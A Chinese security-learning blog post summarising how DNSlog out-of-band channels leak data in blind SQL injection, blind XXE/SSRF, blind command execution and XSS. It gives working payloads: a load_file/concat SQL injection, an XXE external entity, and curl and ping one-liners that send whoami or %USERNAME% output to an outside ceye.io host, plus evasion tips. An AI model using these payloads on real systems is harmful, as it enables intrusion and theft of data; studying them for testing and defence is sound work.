zoukankan      html  css  js  c++  java
  • Dnslog在诸多漏洞中的利用方式

    安全学习了大概快半年了,对于诸多漏洞的原理和基础应用大概也基本了解了。

    之前都是以‘点(每个漏洞怎样?)’的方式在学习、记忆。现在感觉需要做一些总结:

    今天又看到了DNSlog这个词,记起了第一次接触是在SQL盲注那一块知识,后来在SSRF中测试无回显情况中也遇到过,遂想做一下dnslog在诸多漏洞中的利用方式总结。

    DNSlog原理:

    原理就是:DNS协议有一个不懂就问的特点,向自己的上一级DNS服务器发问(请求解析),电脑在请求域名解析的时候会向DNS服务器请求,我们可以申请一个dns服务器如:ceye.io,因为电脑发出的请求域名如:payload.ceye.io是我们dns服务器的子域,所以它的解析请求就会被我们捕获。

    本质:依靠域名解析,把带有payload解析后的域名向DNS服务器请求,从而获取payload解析后的数据

    利用点:只要是能够发出域名解析请求的地方都可以用这种方式获取数据。

    可以利用DNSlog的漏洞:

    1. SQL盲注
    2. XXE(SSRF)(无回显)
    3. 命令执行(无回显)
    4. XSS(无回显)

    1、SQL盲注

    //直接上payload演示
    http://127.0.0.1/sqli_blind/
    ?id=1' and if((select load_file(concat('\\',(select database()),'.YourDnsSite.ceye.io\sql_test'))),1,0)--+   //需要注意  \sql_test 这一块可以随便写,意思就是请求这个服务器上的一个文件,但是不写不行,具体原理不太了解,全靠实践获得吧

      然后我们就可以在我们申请的dns服务器上查看到:库名.YourDnsSite.ceye.io  这一条域名解析记录

    2、XXE(SSRF)(无回显)

    这里之所以写XXE(SSRF),其实是实战中碰到的一种情况,XXE一般有两种,一种是有回显的,一种是无回显的,即大家常说的盲XXE,然后对于这种盲XXE,我们验证漏洞就可以使用让它去请求一个服务器域名,看他是不是执行了,而且这种XXE漏洞一般都是与SSRF相关的。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://ip.YourDnsSite.ceye.io/xxe_test"> %remote;]> <root/>    // http://ip.YourDnsSite.ceye.io/xxe_test部分拼凑一个域名,看看目标机器会不会去想dns服务器请求解析

    3、命令执行(无回显)

    当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。 

    这里分两种情况:Linux系统和Windows系统

    Linux:

    curl http://ip.port.domain.ceye.io/`whoami`   //就会在dns服务器显示  ip.port.root.ceye.io

    ping `whoami`.ceye.io //就会在dns服务器显示 ip.port.root.ceye.io

    Windows:

    ping %USERNAME%.domain.ceye.io  //查询该电脑中的环境变量 
    类似的这种环境变量还有:
    变量类型描述
    %ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
    %APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
    %CD% 本地 返回当前目录字符串。
    %CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
    %CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
    %COMPUTERNAME% 系统 返回计算机的名称。
    %COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
    %DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
    %ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
    %HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
    %NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
    %OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
    %PATH% 系统 指定可执行文件的搜索路径。
    %PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
    %PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
    %PROCESSOR_IDENTFIER% 系统 返回处理器说明。
    %PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
    %PROCESSOR_REVISION% 系统 返回处理器的版本号。
    %PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
    %RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
    %SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
    %SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
    %TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
    %TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
    %USERDOMAIN% 本地 返回包含用户帐户的域的名称。
    %USERNAME% 本地 返回当前登录的用户的名称。
    %USERPROFILE% 本地 返回当前用户的配置文件的位置。
    %WINDIR% 系统 返回操作系统目录的位置。

    4、XSS(无回显)

    XSS绕过CSP  参阅freebuf此文

    注意:

    1、命令执行时要避免空格,空格会导致空格后面的命令执行不到;

    2、将读取的文件命令用``包含起来

    3、拼接的域名有长度限制。(可能需要使用函数分块截取)

  • 相关阅读:
    常见的块级元素和行级元素
    CentOS 利用 yum 安装卸载软件常用命令
    MySQL 派生表(Derived Table) Merge Optimization
    MySQL中的两种临时表
    集中化管理平台 — Ansible 详解
    MySQL 错误码对照
    mysqldump 工具使用详解——参数选项
    git 命令参考手册
    XtraBackup 备份与恢复实例讲解
    XtraBackup 原理与安装
  • 原文地址:https://www.cnblogs.com/Qiuzhiyu/p/13137564.html
Copyright © 2011-2022 走看看